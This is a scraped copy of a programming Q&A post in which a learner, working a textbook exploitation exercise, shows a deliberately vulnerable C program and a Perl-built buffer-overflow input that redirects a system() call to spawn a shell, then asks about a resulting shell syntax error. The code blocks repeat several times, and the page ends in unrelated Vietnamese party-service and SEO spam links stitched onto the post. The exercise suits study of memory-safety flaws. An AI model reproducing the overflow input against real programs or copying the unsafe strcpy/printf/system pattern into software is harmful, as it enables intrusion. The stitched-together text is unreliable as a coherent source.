/bin/sh call generating “sh: 1: Syntax error: “)” unexpected” with shebang on first line of script

I am working through problem 5.1 (string pointers) in the “ASLR Smack & Laugh Reference” by Tilo Muller, and generating the following error:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
<code>sh: 1: Syntax error: ")" unexpected
</code>
<code>sh: 1: Syntax error: ")" unexpected </code>
sh: 1: Syntax error: ")" unexpected

when the shell script tries to run /bin/sh. The vulnerable code (strptr.c):

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
<code>#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[1])
{
char input[256];
char* conf = "test -f ~/.progrc";
char* license = "THIS SOFTWARE IS...";
printf(license);
strcpy(input, argv[1]);
if (system(conf)) printf("Missing .progrc");
}
</code>
<code>#include <stdio.h> #include <string.h> int main(int argc, char* argv[1]) { char input[256]; char* conf = "test -f ~/.progrc"; char* license = "THIS SOFTWARE IS..."; printf(license); strcpy(input, argv[1]); if (system(conf)) printf("Missing .progrc"); } </code>
#include <stdio.h>
#include <string.h>

int main(int argc, char* argv[1])
{
    char input[256];
    char* conf = "test -f ~/.progrc";
    char* license = "THIS SOFTWARE IS...";

    printf(license);
    strcpy(input, argv[1]);
    if (system(conf)) printf("Missing .progrc");
}

The attacker overwrites the input buffer, and replaces the address of conf on the stack with the address of license. Using gdb we determined that the address of license is 0x08048582, and by placing the address of license on the stack, the system call will try and interpret “THIS” as an executable. There is an executable (chmod 777) bash script in the environment PATH named “THIS”, and I have been able to overwrite the string pointer for conf on multiple occasions, but when system tries to execute “THIS” the following output is received:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
<code>$ ./strptr `perl -e 'print "A"x256; print "x82x8548"'
sh: 1: Syntax error: ")" unexpected
THIS SOFTWARE IS...Missing .progrc
</code>
<code>$ ./strptr `perl -e 'print "A"x256; print "x82x8548"' sh: 1: Syntax error: ")" unexpected THIS SOFTWARE IS...Missing .progrc </code>
$ ./strptr `perl -e 'print "A"x256; print "x82x8548"'

sh: 1: Syntax error: ")" unexpected
THIS SOFTWARE IS...Missing .progrc

The shell script “THIS”:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
<code>#!/bin/sh
/bin/sh
Naturally I started searching for descriptions of similar errors, and read the following:
[1 - sh-1-syntax-error-unexpected-error](/questions/35480168/sh-1-syntax-error-unexpected-error)
[2 - bash-script-process-substitution-syntax-error-unexpected](/questions/32038974/bash-script-process-substitution-syntax-error-unexpected)
[3 - Using system function call to execute a shell command](https://unix.stackexchange.com/questions/342718/using-system-function-call-to-execute-a-shell-command)
[4 - Why does process substitution not work in a shell script](/questions/31371672/why-does-process-substitution-not-work-in-a-shell-script) ; Not that I have process redirection in my script, but you never know when you will stumble across what you need :)
I also looked at the man system() page, but did not find anything that spoke to my problem.
I am testing this code on ubuntu:
`Linux user-VirtualBox 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:00 UTC 2021 i686 i686 i686 GNU/Linux`
I tried the different shells on the host (sh, bash, dash) and received the same error. I also tested other shell commands in the script (date, id, & ifconfig) and generated the same error. The **"THIS"** script runs without errors from the command line.
Reading through stack overflow, there were many similar issues but none of the potential hints worked out. Thank you for your patience and assistance.
</code>
<code>#!/bin/sh /bin/sh Naturally I started searching for descriptions of similar errors, and read the following: [1 - sh-1-syntax-error-unexpected-error](/questions/35480168/sh-1-syntax-error-unexpected-error) [2 - bash-script-process-substitution-syntax-error-unexpected](/questions/32038974/bash-script-process-substitution-syntax-error-unexpected) [3 - Using system function call to execute a shell command](https://unix.stackexchange.com/questions/342718/using-system-function-call-to-execute-a-shell-command) [4 - Why does process substitution not work in a shell script](/questions/31371672/why-does-process-substitution-not-work-in-a-shell-script) ; Not that I have process redirection in my script, but you never know when you will stumble across what you need :) I also looked at the man system() page, but did not find anything that spoke to my problem. I am testing this code on ubuntu: `Linux user-VirtualBox 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:00 UTC 2021 i686 i686 i686 GNU/Linux` I tried the different shells on the host (sh, bash, dash) and received the same error. I also tested other shell commands in the script (date, id, & ifconfig) and generated the same error. The **"THIS"** script runs without errors from the command line. Reading through stack overflow, there were many similar issues but none of the potential hints worked out. Thank you for your patience and assistance. </code>
#!/bin/sh

/bin/sh


Naturally I started searching for descriptions of similar errors, and read the following:

[1 - sh-1-syntax-error-unexpected-error](/questions/35480168/sh-1-syntax-error-unexpected-error)

[2 - bash-script-process-substitution-syntax-error-unexpected](/questions/32038974/bash-script-process-substitution-syntax-error-unexpected)

[3 - Using system function call to execute a shell command](https://unix.stackexchange.com/questions/342718/using-system-function-call-to-execute-a-shell-command)

[4 - Why does process substitution not work in a shell script](/questions/31371672/why-does-process-substitution-not-work-in-a-shell-script) ; Not that I have process redirection in my script, but you never know when you will stumble across what you need :)

I also looked at the man system() page, but did not find anything that spoke to my problem.

I am testing this code on ubuntu:

`Linux user-VirtualBox 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:00 UTC 2021 i686 i686 i686 GNU/Linux`

I tried the different shells on the host (sh, bash, dash) and received the same error.  I also tested other shell commands in the script (date, id, & ifconfig) and generated the same error.  The **"THIS"** script runs without errors from the command line.

Reading through stack overflow, there were many similar issues but none of the potential hints worked out. Thank you for your patience and assistance.

New contributor

LittleNibble is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.

Trang chủ Giới thiệu Sinh nhật bé trai Sinh nhật bé gái Tổ chức sự kiện Biểu diễn giải trí Dịch vụ khác Trang trí tiệc cưới Tổ chức khai trương Tư vấn dịch vụ Thư viện ảnh Tin tức - sự kiện Liên hệ Chú hề sinh nhật Trang trí YEAR END PARTY công ty Trang trí tất niên cuối năm Trang trí tất niên xu hướng mới nhất Trang trí sinh nhật bé trai Hải Đăng Trang trí sinh nhật bé Khánh Vân Trang trí sinh nhật Bích Ngân Trang trí sinh nhật bé Thanh Trang Thuê ông già Noel phát quà Biểu diễn xiếc khỉ Xiếc quay đĩa Dịch vụ tổ chức sự kiện 5 sao Thông tin về chúng tôi Dịch vụ sinh nhật bé trai Dịch vụ sinh nhật bé gái Sự kiện trọn gói Các tiết mục giải trí Dịch vụ bổ trợ Tiệc cưới sang trọng Dịch vụ khai trương Tư vấn tổ chức sự kiện Hình ảnh sự kiện Cập nhật tin tức Liên hệ ngay Thuê chú hề chuyên nghiệp Tiệc tất niên cho công ty Trang trí tiệc cuối năm Tiệc tất niên độc đáo Sinh nhật bé Hải Đăng Sinh nhật đáng yêu bé Khánh Vân Sinh nhật sang trọng Bích Ngân Tiệc sinh nhật bé Thanh Trang Dịch vụ ông già Noel Xiếc thú vui nhộn Biểu diễn xiếc quay đĩa Dịch vụ tổ chức tiệc uy tín Khám phá dịch vụ của chúng tôi Tiệc sinh nhật cho bé trai Trang trí tiệc cho bé gái Gói sự kiện chuyên nghiệp Chương trình giải trí hấp dẫn Dịch vụ hỗ trợ sự kiện Trang trí tiệc cưới đẹp Khởi đầu thành công với khai trương Chuyên gia tư vấn sự kiện Xem ảnh các sự kiện đẹp Tin mới về sự kiện Kết nối với đội ngũ chuyên gia Chú hề vui nhộn cho tiệc sinh nhật Ý tưởng tiệc cuối năm Tất niên độc đáo Trang trí tiệc hiện đại Tổ chức sinh nhật cho Hải Đăng Sinh nhật độc quyền Khánh Vân Phong cách tiệc Bích Ngân Trang trí tiệc bé Thanh Trang Thuê dịch vụ ông già Noel chuyên nghiệp Xem xiếc khỉ đặc sắc Xiếc quay đĩa thú vị
Trang chủ Giới thiệu Sinh nhật bé trai Sinh nhật bé gái Tổ chức sự kiện Biểu diễn giải trí Dịch vụ khác Trang trí tiệc cưới Tổ chức khai trương Tư vấn dịch vụ Thư viện ảnh Tin tức - sự kiện Liên hệ Chú hề sinh nhật Trang trí YEAR END PARTY công ty Trang trí tất niên cuối năm Trang trí tất niên xu hướng mới nhất Trang trí sinh nhật bé trai Hải Đăng Trang trí sinh nhật bé Khánh Vân Trang trí sinh nhật Bích Ngân Trang trí sinh nhật bé Thanh Trang Thuê ông già Noel phát quà Biểu diễn xiếc khỉ Xiếc quay đĩa
Thiết kế website Thiết kế website Thiết kế website Cách kháng tài khoản quảng cáo Mua bán Fanpage Facebook Dịch vụ SEO Tổ chức sinh nhật